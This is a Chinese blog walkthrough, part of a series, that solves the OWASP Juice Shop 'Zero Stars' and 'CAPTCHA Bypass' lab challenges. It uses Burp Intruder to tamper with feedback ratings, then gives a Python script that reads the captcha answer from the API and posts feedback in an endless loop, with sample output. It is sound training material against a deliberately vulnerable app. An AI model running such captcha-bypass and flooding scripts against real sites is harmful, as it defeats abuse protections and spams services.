OWASP Juice Shop 学习 三

解锁 Zero Stars ★ 和 CAPTCHA Bypass ★★★

在这里插入图片描述
打开侧边菜单 - > Customer Feedback,显示用户反馈页面表单。
在这里插入图片描述
打开Burp Suite Professional ,点击 Proxy -> Intercept -> Open Browser,打开内置浏览器。
在这里插入图片描述
在内置浏览器打开 http://192.168.31.203/#/contact ,Burp会截取每个浏览器会话请求,这时 Forward 按钮可用,不断点击Forward按钮,允许所有请求,内置浏览器将正常显示用户反馈页面表单。
在这里插入图片描述
在内置浏览器,填写用户反馈页面表单,点击Submit,在Burp 上 Forward 按钮一阵狂点。
在这里插入图片描述
在Burp 点击 HTTP hisotry ,我们可以看到Burp记录一次完整的页面交互过程。
查看后发现第55条记录,浏览器 调用/api/Feedbacks 接口,使用POST 方法提交填写的用户反馈数据。
在这里插入图片描述
POST的数据:{“captchaId”:16,“captcha”:“196”,“comment”:“dislike (anonymous)”,“rating”:2},我们可以伪造部分数据,看看服务端的反应。

点击Actions 按钮,再点击 Send to Intruder。
在这里插入图片描述
点击 Intruder -> Positions ,我们会发现 Playload Positions是 POST /api/Feedbacks接口,Burp自动用 § 符号(绿色),将所有的变量包含起来。在这里插入图片描述
我们先伪造 “rating” 的值,点击 Clear § 按钮,将所有变量位置清除掉。
在这里插入图片描述
然后在“rating":2 上选中2(不知道为什么选中时会向左偏移几位),点击 Add § 按钮,确保2被§符号包括起来,如:“rating":§2§。
在这里插入图片描述
点击Payloads - > Payload type 选中Numbers
在这里插入图片描述
选择连续值,从0到10,步进1。点击 Start attack 按钮,进行攻击。
在这里插入图片描述
Burp 会模拟之前的POST /api/Feedbacks 包,将”rating": 值进行0-10的遍历。
在这里插入图片描述
这样就解锁 Zero Stars ★ 和 CAPTCHA Bypass ★★★
在这里插入图片描述
在这里插入图片描述

从用户反馈页面交互分析,主要流程:

  1. GET /rest/captcha/ 接口,获取 验证码。
  2. POST /api/Feedbacks/ 接口,携带验证码提交反馈信息。

在这里插入图片描述
下面的Python脚本模拟这两个接口的调用,

import requests,json,time,random

headers = {'Host': '192.168.31.203','Content-Length': '89','Accept': 'application/json, text/plain, */*','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36','Content-Type': 'application/json','Origin': 'http://192.168.31.203','Referer': 'http://192.168.31.203/','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9','Cookie': 'language=en; cookieconsent_status=dismiss','Connection': 'close'}

captcha_url = "http://192.168.31.203/rest/captcha/"
Feedbacks_url = "http://192.168.31.203/api/Feedbacks/"

while 1:
    print("---",time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
    req = json.loads(requests.get(captcha_url).text)
    #print(req['captchaId'],req['answer'])
    rating = random.randint(0, 10)
    datas = json.dumps({'captchaId':req['captchaId'],'captcha':req['answer'],'comment':'1111111111111111111111111111111 (anonymous)','rating':rating})
    byte_data = datas.encode('utf-8')
    #print(datas)
    req = requests.post(Feedbacks_url, data = byte_data, headers = headers)
    print(req.text)

脚本运行如下:

>python captcha.py
--- 2022-04-17 23:50:48
{"status":"success","data":{"id":381,"comment":"1111111111111111111111111111111 (hangzhou)","rating":5,"updatedAt":"2022-04-17T15:50:43.597Z","createdAt":"2022-04-17T15:50:43.597Z","UserId":null}}
--- 2022-04-17 23:50:48
{"status":"success","data":{"id":382,"comment":"1111111111111111111111111111111 (hangzhou)","rating":6,"updatedAt":"2022-04-17T15:50:43.702Z","createdAt":"2022-04-17T15:50:43.702Z","UserId":null}}
--- 2022-04-17 23:50:48
{"status":"success","data":{"id":383,"comment":"1111111111111111111111111111111 (hangzhou)","rating":2,"updatedAt":"2022-04-17T15:50:43.823Z","createdAt":"2022-04-17T15:50:43.823Z","UserId":null}}
--- 2022-04-17 23:50:48
{"status":"success","data":{"id":384,"comment":"1111111111111111111111111111111 (hangzhou)","rating":9,"updatedAt":"2022-04-17T15:50:43.889Z","createdAt":"2022-04-17T15:50:43.889Z","UserId":null}}

ASP Juice Shop 学习 二 主动侦察 1

OWASP Juice Shop 学习 二 主动侦察 2

OWASP Juice Shop 学习 二 主动侦察 2

OWASP Juice Shop 学习 三

OWASP Juice Shop 学习 四

OWASP Juice Shop 学习 五

OWASP Juice Shop 学习 六

OWASP Juice Shop 学习 七

OWASP Juice Shop 学习 八

OWASP Juice Shop 学习 九

OWASP Juice Shop 学习 十

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值